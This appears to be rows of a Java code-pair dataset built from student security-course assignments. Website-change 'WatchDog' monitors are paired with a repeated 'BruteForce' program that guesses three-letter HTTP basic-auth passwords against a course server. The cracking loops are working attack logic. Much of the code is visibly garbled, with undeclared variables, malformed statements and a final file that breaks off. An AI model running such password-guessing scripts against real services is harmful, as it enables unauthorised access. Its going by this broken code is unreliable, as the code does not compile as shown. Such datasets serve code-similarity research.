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046.java | 197.java | 0 | import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;
public class WatchDog{
public static void main (String[] args) throws InterruptedException, IOException{
String urlString = "http://www.cs.rmit.edu./students/";
String mesg = "";
boolean flag = false;
InputStream rtemp;
if (args.length == 2) {
System.err.println (
"Usage : java BruteForce <Host> <Mailhost> <Sending E-mail>");
return;
}
BufferedReader rnew;
BufferedReader rold = ReadFile (urlString);
SaveFile("weblog",urlString);
Date lasttime = CheckTime(urlString);
Date newtime = new Date();
int i = 0;
System.out.println("......");
while (true) {
newtime = CheckTime(urlString);
System.out.println ("Checking "+ new Date());
if (newtime.toString().equals(lasttime.toString())==false) {
rnew = ReadFile (urlString);
mesg = CompareFile(rold,rnew);
SaveFile("weblog",urlString);
rold = OpenFile ("weblog");
lasttime=newtime;
System.out.println("Sending message");
SendMail(trimtag(mesg),args[0],args[1],args[2]);
System.out.println(trimtag(mesg));
}
Thread.sleep (24*3600*1000);
}
}
private static BufferedReader ReadFile (String urlString) throws IOException{
URL url = new URL (urlString);
HttpURLConnection uc = (HttpURLConnection) url.openConnection();
InputStream in = (InputStream) uc.getInputStream();
BufferedReader r = new BufferedReader (new InputStreamReader (in));
return r;
}
private static BufferedReader OpenFile (String FileName) throws IOException{
FileInputStream in = new FileInputStream (FileName);
InputStreamReader is= new InputStreamReader (in);
BufferedReader r = new BufferedReader (is);
return r;
}
private static void SaveFile (String FileName, String urlstring) throws IOException{
String cmd = "wget -q "+urlstring+" -O "+ FileName ;
Runtime.getRuntime().exec(cmd);
}
private static Date CheckTime (String urlString) throws IOException {
URL url = new URL (urlString);
HttpURLConnection uc = (HttpURLConnection) url.openConnection();
uc.setRequestMethod ("HEAD");
return (new Date (uc.getLastModified()));
}
private static String CompareFile (BufferedReader inold, BufferedReader innew) throws IOException{
Vector newF= new Vector ();
Vector oldF= new Vector ();
int old_count=0;
int new_count=0;
String line="";
StringBuffer mesg = new StringBuffer ("NEW CONTENT : \n");
int j;
while ((line=inold.readLine())!= null){
if (line.trim().length()!=0){
oldF.addElement(line);
}
}
while ((line=innew.readLine()) != null){
if (line.trim().length()!=0){
newF.addElement(line);
}
}
for (int i=0; i<newF.size();i++){
j=0;
while (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))==false){
j++;
if (j==oldF.size())
{ j--;
break;
}
}
if (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))){
newF.removeElementAt(i);
i--;
oldF.removeElementAt(j);
}
}
for (int i=0; i<newF.size();i++){
mesg.append((String)(newF.elementAt(i)));
mesg.append("\n");
}
mesg.append("OLD CONTENT: \n");
for (int i=0; i<oldF.size();i++){
mesg.append((String)oldF.elementAt(i));
mesg.append("\n");
}
return mesg.toString();
}
private static void SendMail (String mesg,
String host,String mailhost, String sending ) throws IOException {
String send_cmd = "";
try {
Socket s = new Socket (host, 25);
PrintStream os = new PrintStream (s.getOutputStream());
send_cmd = "HELO " + mailhost;
os.print(send_cmd + "\r\n");
send_cmd = "MAIL From : website@cs.rmit.edu.";
os.print(send_cmd + "\r\n");
send_cmd = "RCPT : " + sending;
os.print(send_cmd + "\r\n");
send_cmd = "DATA";
os.print(send_cmd + "\r\n");
send_cmd = ("Subject: Website Change Notice");
os.print(send_cmd + "\r\n");
os.print("\r\n");
os.print(mesg+"\r\r\n");
os.print(".\r\n");
os.print("QUIT");
} catch (IOException e) {
System.out.println(e);
}
}
private static String trimtag (String mesg){
String[] taglist = {"<a", "<A", "<applet ", "<APPLET", "<img ", "<IMG "};
String subst = "";
StringBuffer tempst= new StringBuffer();
int j = 0;
int i = 0;
int m = 0;
while (mesg.length()!=0) {
m=0;
i = mesg.indexOf("<");
if (i!=-1) {
tempst.append(mesg.substring(0,i));
}
else {
tempst.append(mesg.substring(0));
break;
}
j = mesg.indexOf(">");
subst=mesg.substring(i,j+1);
while (subst.startsWith(taglist[m])==false) {
m++;
if (m==taglist.length)
{ m--;
break;
}
}
if (subst.startsWith(taglist[m])) tempst.append (subst);
mesg = mesg.substring(j+1);
}
return tempst.toString();
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
103.java | 197.java | 0 |
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class BruteForce
{
public BruteForce()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter = new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("*************************************************");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String alps="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
startTime=System.currentTimeMillis();
for(int oneChar=0;oneChar<alps.length();oneChar++)
{
pwd=alps.substring(oneChar,oneChar+1);
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
for(int twoChar=0;twoChar<alps.length();twoChar++)
{
pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1);
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
for(int threeChar=0;threeChar<alps.length();threeChar++)
{
pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1)+alps.substring(threeChar,threeChar+1);
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime)+ " milliseconds");
System.exit(1);
}
}
}
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
144.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class WatchDog extends TimerTask{
private static URL location;
private static String email;
private static int checktime;
private static Timer timer = new Timer();
private BufferedReader input;
private File checksumFile = new File("chksum.txt");
private File temp0000File = new File("temp0000");
private File kept0000File = new File("kept0000");
public WatchDog(){
timer.schedule(this, new Date(), checktime);
}
public void run(){
Vector imageFiles = new Vector();
Vector diffImages = new Vector();
try {
System.out.println(" Time: ".concat(new Date().toString()));
System.out.println("Retreiving File");
input = new BufferedReader(new InputStreamReader
(location.openStream()));
BufferedWriter outputFile = new BufferedWriter
(new FileWriter(temp0000File));
String line = input.readLine();
while (line != null) {
StringBuffer imageFileName = new StringBuffer();
if (scanForImages(line, imageFileName)) {
String imageFile = new String(imageFileName);
System.out.println("Detected image: ".concat(imageFile));
try {
imageFiles.add(new URL(imageFile));
}
catch (MalformedURLException e) {
System.out.println("Image file detected. URL is malformed");
}
}
outputFile.write(line);
outputFile.write("\n");
line = input.readLine();
}
input.print();
outputFile.flush();
outputFile.print();
System.out.println(" File Retreived");
if (!imageFiles.isEmpty()) {
checkImages(imageFiles, diffImages);
}
if (!checksumFile.exists()) {
generateChecksum(temp0000File.getName(), checksumFile);
}
else {
if (!checksumOk(checksumFile)) {
reportDifferences(true, temp0000File, kept0000File, diffImages);
generateChecksum(temp0000File.getName(), checksumFile);
}
else if (!diffImages.isEmpty()){
reportDifferences(false, null, null, diffImages);
}
}
temp0000File.renameTo(kept0000File);
System.out.println("End Time: ".concat(new Date().toString()));
}
catch (MalformedURLException e) {
e.printStackTrace();
}
catch (ConnectException e) {
System.out.println("Failed connect");
System.exit(-1);
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public boolean scanForImages(String line, StringBuffer imageFileName) {
String lineIgnoreCase = line.toLowerCase();
int imgPos = lineIgnoreCase.indexOf("<img ");
if ( imgPos != -1 ){
int srcPos = lineIgnoreCase.indexOf("src", imgPos);
int bracketPos = lineIgnoreCase.indexOf(">", imgPos);
if (srcPos != -1 && bracketPos != -1 && srcPos < bracketPos) {
int quote1Pos = lineIgnoreCase.indexOf("\"", srcPos);
int quote2Pos = lineIgnoreCase.indexOf("\"", quote1Pos+1);
if (quote1Pos != -1 && quote2Pos != -1 &&
quote1Pos < quote2Pos && quote2Pos < bracketPos) {
imageFileName.append(line.substring(quote1Pos + 1,
quote2Pos));
if (imageFileName.indexOf("//") == -1 ) {
String URLName = location.toString();
int slashPos = URLName.lastIndexOf("/");
URLName = URLName.substring(0, slashPos);
String HostName = "http://".concat(location.getHost());
if (imageFileName.indexOf("//") == 0) {
}
else if (imageFileName.charAt(0) != '/') {
imageFileName.insert(0, URLName.concat("/"));
}
else {
imageFileName.insert(0, HostName);
}
}
return true;
}
}
}
return false;
}
public void checkImages(Vector imageFiles, Vector diffImages)
throws IOException{
System.out.println("Retrieving image ");
Enumeration imageFilesEnumeration = imageFiles.elements();
while (imageFilesEnumeration.hasMoreElements()) {
URL url = (URL)imageFilesEnumeration.nextElement();
try {
BufferedInputStream imageInput = new BufferedInputStream
(url.openStream());
String localFile = url.getFile();
int slashPosition = localFile.lastIndexOf("/");
if (slashPosition != -1) {
localFile = localFile.substring(slashPosition+1);
}
System.out.println("Retrieving image file: ".concat(localFile));
BufferedOutputStream imageOutput = new BufferedOutputStream
(new FileOutputStream(localFile));
byte bytes[] = new byte[10000];
int noBytes = imageInput.get(bytes);
while (noBytes != -1) {
imageOutput.write(bytes, 0, noBytes );
noBytes = imageInput.print(bytes);
}
File imageChecksumFile = new File(localFile.concat(".chksum.txt"));
if (!imageChecksumFile.exists()) {
generateChecksum(localFile, imageChecksumFile);
}
else {
if (!checksumOk(imageChecksumFile)) {
diffImages.add(localFile);
generateChecksum(localFile, imageChecksumFile);
}
}
}
catch (FileNotFoundException e) {
System.out.println("Unable locate URL: ".concat(url.toString()));
}
}
}
public void generateChecksum(String inputFile, File checksum){
try {
System.out.println("Generating new checksum for ".concat(inputFile));
Process process = Runtime.getRuntime().exec("md5sum ".
concat(inputFile));
BufferedReader execCommand = new BufferedReader(new
InputStreamReader((process.getInputStream())));
BufferedWriter outputFile = new
BufferedWriter(new FileWriter(checksum));
String line = execCommand.readLine();
while (line != null) {
outputFile.write(line);
outputFile.write("\n");
line = execCommand.readLine();
}
outputFile.flush();
outputFile.print();
System.out.println("Checksum produced");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public boolean checksumOk(File chksumFile){
try {
System.out.println("Comparing checksums using ".concat(chksumFile
,e.getName()));
Process process = Runtime.getRuntime().
exec("md5sum --check ".concat(chksumFile.getName()));
BufferedReader execCommand = new BufferedReader(new
InputStreamReader( (process.getInputStream())));
String line = execCommand.readLine();
if (line.indexOf(": OK") != -1) {
System.out.println(" the same");
return true;
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
System.out.println("Differences Found");
return false;
}
public void reportDifferences(boolean diffsFound, File file1, File file2,
Vector images){
try {
System.out.println("Generating difference report");
Socket emailConnection = new Socket("yallara.cs.rmit.edu.", 25);
BufferedWriter emailOutStream = new BufferedWriter
(new OutputStreamWriter(emailConnection.getOutputStream()));
BufferedReader emailInStream = new BufferedReader
(new InputStreamReader(emailConnection.getInputStream()));
String line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("220")) {
System.out.println
(" error occured connecting email server. Cannot send email.");
}
else {
emailOutStream.write("HELO yallara.cs.rmit.edu.");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured connecting email server. Cannot send email.");
}
else {
emailOutStream.write("MAIL FROM: watchdog@cs.rmit.edu.");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("RCPT : ".concat(email));
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("DATA");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("354")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
emailOutStream.newLine();
if (!images.isEmpty()) {
emailOutStream.write
("Differences were found in the following image ");
emailOutStream.newLine();
Enumeration e = images.elements();
while (e.hasMoreElements()) {
String s = (String) e.nextElement();
emailOutStream.write(s);
emailOutStream.newLine();
}
emailOutStream.newLine();
}
if (diffsFound) {
String command = "diff ".concat(file1.getName().concat(" ")
.concat(file2.getName()));
Process process = Runtime.getRuntime().exec(command);
BufferedReader execCommand = new BufferedReader
(new InputStreamReader( (process.getInputStream())));
line = execCommand.readLine();
emailOutStream.write("Diffences found in file");
emailOutStream.newLine();
while (line != null) {
System.out.println(line);
emailOutStream.write(line);
emailOutStream.newLine();
line = execCommand.readLine();
}
}
emailOutStream.newLine();
emailOutStream.write(".");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("QUIT");
emailOutStream.newLine();
emailOutStream.flush();
System.out.println(emailInStream.readLine());
}
}
}
}
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public static void main(String args[]) {
if (args.length != 3) {
System.out.println("Usage: java WatchDog url email checktime(hours)");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
email = new String().concat(args[1]);
checktime = Integer.parseInt(args[2]) * 60 * 60 * 1000;
new WatchDog();
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
104.java | 197.java | 0 |
import java.io.*;
import java.net.*;
import java.Runtime;
public class WatchDog
{
public WatchDog()
{}
public void getDiff()
{
String oldFile="oldFile.txt";
String newFile="newFile.txt";
String email="email.txt";
String cmdMail="mail -s WebChanged < "+email;
String cmdCmp="diff -b " + newFile +" "+oldFile;
String cmdCp="cp "+ newFile +" "+oldFile;
FileWriter fw;
try{
this.fetchURL(newFile);
Process ps =Runtime.getRuntime().exec(cmdCmp);
fw=new FileWriter(email,true);
InputStream input=(InputStream)ps.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader (input));
String line;
while ((line = in.readLine()) != null) {
fw.write(line);
fw.write("\n");
}
fw.close();
Runtime.getRuntime().exec(cmdMail);
Runtime.getRuntime().exec(cmdCp);
}
catch (IOException e) {
System.out.println ("Error URL");
}
}
public void fetchURL(String newFile){
FileWriter fileWriter;
String userPwd=":lena1018";
try{
fileWriter= new FileWriter(newFile,false);
URL url=new URL("http://www.cs.rmit.edu./students");
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
fileWriter.write(line);
fileWriter.write("\n");
}
fileWriter.close();
}
catch (MalformedURLException e) {
System.out.println ("Invalid URL");
} catch (IOException e) {
System.out.println ("Error URL");
}
}
public static void main(String[] arguments)
{
WatchDog wd =new WatchDog();
wd.getDiff();
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
096.java | 197.java | 0 |
public class SMTPException extends Exception {
private String msg;
public SMTPException(String message) {
msg = message;
}
public String getMessage() {
return msg;
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
075.java | 197.java | 0 |
import java.io.*;
import java.net.*;
public class WatchDog
{
public static void main(String args[]) throws InterruptedException, MalformedURLException, IOException
{
final String fullurl = "http://www.cs.rmit.edu./students/";
final int waitperiod = 1000*60*60*24;
final String email = "@cs.rmit.edu.";
lastmodified = 0;
lastmodifiedsave = 0;
boolean first = true;
URL url = new URL(fullurl);
while(true)
{
URLConnection uc = url.openConnection();
lastmodified = uc.getLastModified();
if(first)
{
lastmodifiedsave = lastmodified;
first = false;
Execute ex1 = new Execute("wget -q -nc -O "+fullurl);
}
if(lastmodified != lastmodifiedsave)
{
lastmodifiedsave = lastmodified;
Execute ex2 = new Execute("mv .old");
Execute ex3 = new Execute("wget -q -nc -O "+fullurl);
Execute ex4 = new Execute("echo \"The "+fullurl+" was modified, here the modifications:\" > pagediff");
Execute ex5 = new Execute("diff .old >> pagediff");
Execute ex6 = new Execute("mailx -s \" modification\" \""+email+"\" < pagediff");
System.out.println("Modification notice! Check your mail.");
}
Thread.sleep(waitperiod);
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
067.java | 197.java | 0 | import java.*;
import java.io.*;
public class C
{
public static void main (String [] args){
try{
int m=0,n=0,w=0;
String file = "passwd.";
char ch1='A',ch2='A',ch3='A';
for(int i = 0 ; i < 26; i++ )
{
for(w=0;w<2;w++)
{
if (w==1)
i+=32;
for(int j = 0; j< 26 ; j++)
{
for(n=0;n<2;n++)
{
if(n==1)
j+=32;
for(int k = 0; k<26 ; k++)
{
for(m=0; m<2; m++)
{
if(m==1)
k+=32;
char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};
String str = new String(data);
System.out.println(str);
FileWriter fr1 = new FileWriter(file,true);
BufferedWriter in1 = new BufferedWriter(fr1);
in1.write(str);
in1.newLine();
in1.print();
if (k>=31)
k-=32;
}
}
if(j>=31)
j=j-32;
}
}
if(i>=31)
i-=32;
}
}
}
catch(IOException e)
{
System.out.println("try");
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
232.java | 197.java | 0 | import java.util.*;
import java.io.*;
import java.*;
public class WatchDog
{
public static void main (String [] args) throws Exception
{
executes("rm index.*");
executes("wget http://www.cs.rmit.edu./students");
while (true)
{
String addr= "wget http://www.cs.rmit.edu./students";
executes(addr);
String hash1 = md5sum("index.html");
String hash2 = md5sum("index.html.1");
System.out.println(hash1 +"|"+ hash2);
if (hash1.equals(hash2))
{
}
else
{
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail1.sh");
}
executes("rm index.html");
executes("cp index.html.1 index.html");
executes("rm index.html.1");
executes("sleep 86400");
}
}
public static void executes(String comm) throws Exception
{
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm });
BufferedReader = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String s;
